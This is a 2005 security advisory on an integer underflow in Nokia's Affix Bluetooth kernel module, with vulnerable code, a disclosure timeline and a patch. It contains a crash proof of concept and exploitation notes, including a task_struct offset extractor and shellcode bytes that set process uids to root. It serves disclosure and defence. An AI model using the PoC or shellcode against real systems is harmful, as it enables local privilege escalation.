txt by Flavio58

VIEWS: 43 PAGES: 5

									DMA[2005-0423a] - 'Nokia Affix Bluetooth Integer Underflow' Author: Kevin Finisterre Vendor: http://www-nrc.nokia.com/affix/, http://affix.sourceforge.net Product: 'affix-kernel' References: http://www.digitalmunition.com/DMA[2005-0423a].txt Description: Nokia believes that effective research and development is vital to remaining competitive in the mobile communications industry. As of December 31, 2004, they employed 20,722 people in research and development centers in 12 countries. Nokia invests a substantial portion of its resources in research and development activities within its principal business groups as well as in the Nokia Research Center. The Nokia Research Center acts as a link between basic industry research and product development. It responsible for the product development needs of Nokia's business groups, as well as for carrying out Nokia's longer-term research. In case you were currious the NRC looks pretty plushed out too! http://www.tsi.fi/nrc1_e.html, http://www.tsi.fi/nrc2_e.html Affix is a Bluetooth Protocol Stack for Linux that was developed by the Nokia Research Center in Helsinki and released under GPL. Affix supports the core Bluetooth protocols like HCI, L2CAP 1.1, L2CAP 1.2, RFCOMM, SDP and various Bluetooth profiles. Affix consists of 'affix-kernel' which provides kernel modules and 'affix' which provides control tools, libraries, and server daemons. Although Nokia believes that Affix is an useful piece of software, please bear in mind that it is not an official Nokia product, but a result of the research activity of Nokia Research Center. The following code was found in modules/btcore/hci.c from Affix. struct net_proto_family *btprotos[BTPROTO_MAX];

int affix_sock_register(struct net_proto_family *pf, int protocol) { if (protocol >= BTPROTO_MAX) return -EINVAL; if (btprotos[protocol]) return -EEXIST; btprotos[protocol] = pf; return 0;

} As you can see from this snippet, if a negative value is passed to the protocol variable the bounds checking for this function will be bypassed. Shortly after the bounds check the value of the protocol variable is used as an index to an array. This vulnerability is very similar to the issue found by Ilja van Sprundel in the kernel-bluez package so it is likely that this bug will result in a local root compromise. The following proof of concept code is enough to demonstrate the vulnerability. /* Nokia Affix Bluetooth Signed Buffer Index PoC - kf_lists[at]digitalmunition[dot]com */ #include #include #include #include main() { int ctl; if ((ctl = socket(PF_AFFIX, SOCK_RAW, -31337)) < 0) { perror("Something went wrong?"); exit(1); } } kfinisterre@jdam:/tmp/affix-2.1.1$ cc -o bug bug.c kfinisterre@jdam:/tmp/affix-2.1.1$ ./bug Segmentation fault Upon running the above code your kernel should 'Oops' as shown below: Code: Bad EIP value. invalid operand: 0000 CPU: 0 EIP: 0010:[<bfffeeb2>] Not tainted EFLAGS: 00210282 eax: c83ea8e0 ebx: ffffad97 ecx: c83ea8e0 esi: 0000001b edi: 00000003 ebp: c452df14 ds: 0018 es: 0018 ss: 0018 Process bug (pid: 3329, stackpage=c452d000) <sys/socket.h> <affix/bluetooth.h> <affix/hci_cmds.h> <affix/hci_types.h>

edx: c6000001 esp: c452c97c

Stack: 203a726f 65756c62 0a7d0a3b 2031680a 20200a7b 70736964 3a79616c 6f6c6220 0a3b6b63 6f662020 732d746e 3a657a69 6d653220 20200a3b 746e6f66 6965772d 3a746867 6c6f6220 200a3b64 72616d20 3a6e6967 37362e20 30206d65 0a7d0a3b Call Trace: [<c01365ab>] [<c012f73d>] [<c0134ac1>] [<c012b469>] [<c012b587>] [<c01185d8>] [<c012b587>] [<c012e5ee>] [<c012eb90>] [<c02263e2>] [<c0118410>] [<c0108cfc>] [<c01254d9>] [<c01254d9>] [<c014c9ff>] [<c01254d9>] [<c014c9ff>] [<c014cae2>] [<c014cae2>] [<c01ac310>] [<c01244a6>] [<c01365ab>] [<c01209a2>] [<c01208b6>] [<c01367dc>] [<c012b6ab>] [<c012b587>] [<c01185d8>] [<c01254d9>] [<c011fac0>] [<c01244a6>] [<c0124a80>] [<c01209a2>] [<c01208b6>] [<c010a69a>] [<c0118410>] [<c0108cfc>] [<d7945a1c>] [<c01c0f7f>] [<c012c651>] [<c01c103b>] [<c01c1f18>] [<c0118410>] [<c0108cfc>] [<c0108c0b>] qobaiashi was able to create a working exploit for the condition in kernel-bluez, so as mentioned above it is likely that this bug will yeild local root. I attempted to modify http://home.paf.net/qobaiashi/ong_bak.c in an effort to exploit this issue but I did not have much luck. The kernel is obviously(!) not yet my playground. I have however included a few notes below that may help in developing an exploit for this condition. One problem I ran into when trying to modify ong_bak.c was that qobaiashi and I were not trying to exploit the same kernel version. I would need to modify his shellcode before anything would work. Since I don't really have the slightest clue about kernel exploitation I had to bug both qobaiashi as well as some folks on a private mailing list for some help on fixing the shellcode. Philippe Biondi explained to me that qobaiashi's shellcode is 'quite simple', -q's shellcode first finds the task_struct of the current process, next it finds the task_struct of the father process and finally it overwrites the uid, euid, suid and fsuid of these processes with 0x00. This will effectively give both our exploit and our current shell root.

I was told that in order for the shellcode that qobaiashi wrote to work I would need to calculate the offsets needed for my kernel version. <linux/sched.h> defines task_struct so we can just write a simple program to extract the offsets. /* * gcc -c -Wall -I /usr/src/kernel-source-2.4.27/include/ get_offsets.c */ #define __KERNEL__ #define MODULE #include <linux/modversions.h> #include <linux/module.h> #include <linux/sched.h> struct task_struct tsk; int init_module() { printk("task_struct offsets:\n"); printk("tsk %p\n", &tsk); printk("tsk father %p\n", &tsk.p_pptr); printk("uid %p\n", &tsk.uid); printk("euid %p\n", &tsk.euid); printk("suid %p\n", &tsk.suid); printk("fsuid %p\n", &tsk.fsuid); return 0; } void cleanup_module() { printk("Later bitches!\n"); } Just compile the above code and insmod it into the kernel. jdam:/home/kfinisterre# gcc -c -Wall -I /usr/src/kernel-source2.4.27/include/ get_offsets.c jdam:/home/kfinisterre# insmod ./get_offsets.o Warning: loading ./get_offsets.o will taint the kernel: no license See http://www.tux.org/lkml/#export-tainted for information about tainted modules Module get_offsets loaded, with warnings jdam:/home/kfinisterre# rmmod get_offsets jdam:/home/kfinisterre# dmesg | tail -n 7 tsk d7931240 tsk father d79312d8 = 0x98 uid d793136c = 0x12c euid d7931370 = 0x130 suid d7931374 = 0x134 fsuid d7931378 = 0x138 Later Bitches!

The offsets 0x98 0x12c 0x130 0x134 and 0x138 can be plugged into -q's shellcode as follows. //leave the next line out if only your exploit should become root "\x8b\x80\x98\x00\x00\x00"// mov 0x98(%eax),%eax eax=ptr-to>parents->task_struct "\x89\xb0\x2c\x01\x00\x00"// mov %esi,0x12c(%eax) "\x89\xb0\x30\x01\x00\x00"// mov %esi,0x130(%eax) "\x89\xb0\x34\x01\x00\x00"// mov %esi,0x134(%eax) "\x89\xb0\x38\x01\x00\x00"// mov %esi,0x138(%eax) Several folks suggested that I look into http://oss.sgi.com/projects/kgdb/ in order to work on debugging and exploiting this issue. Unfortunately since I am too lazy to continue trying to figure out how to get kgdb working there will be no exploit provided with this advisory. Hopefully these notes are of some use... enjoy. Workaround: In bluez the issue was fixed via the following snippet. if (proto >= BLUEZ_MAX_PROTO) + if (proto < 0 || proto >= BLUEZ_MAX_PROTO) I guess for Affix this should work... if (protocol >= BTPROTO_MAX) + if (protocol < 0 || protocol >= BTPROTO_MAX) Official patches for Affix can be found at http://affix.sourceforge.net (on monday 04/25/2005) This is basic timeline associated with this bug. 03/27/2005 suresec.org releases bluez_sock_create() integer underflow 04/09/2005 str0ke dropped ong_bak on milw0rm http://milw0rm.com/id.php?id=9260 04/16/2005 Mail to dmitry.kasatkin and charlos.chinea of Nokia to report the problem 04/18/2005 Carlos.Chinea stated that the bug will be 'fixed in the next release' 04/22/2005 Carlos.Chinea stated that he will pusblish the update on Monday, at latest Both BlueZ and Affix appear to borrow code from each other so perhaps the moral of this story is be careful where you borrow code from. Thanks to Philippe Biondi, mcb and qobaiashi for answering my dumb questions! -KF


								
To top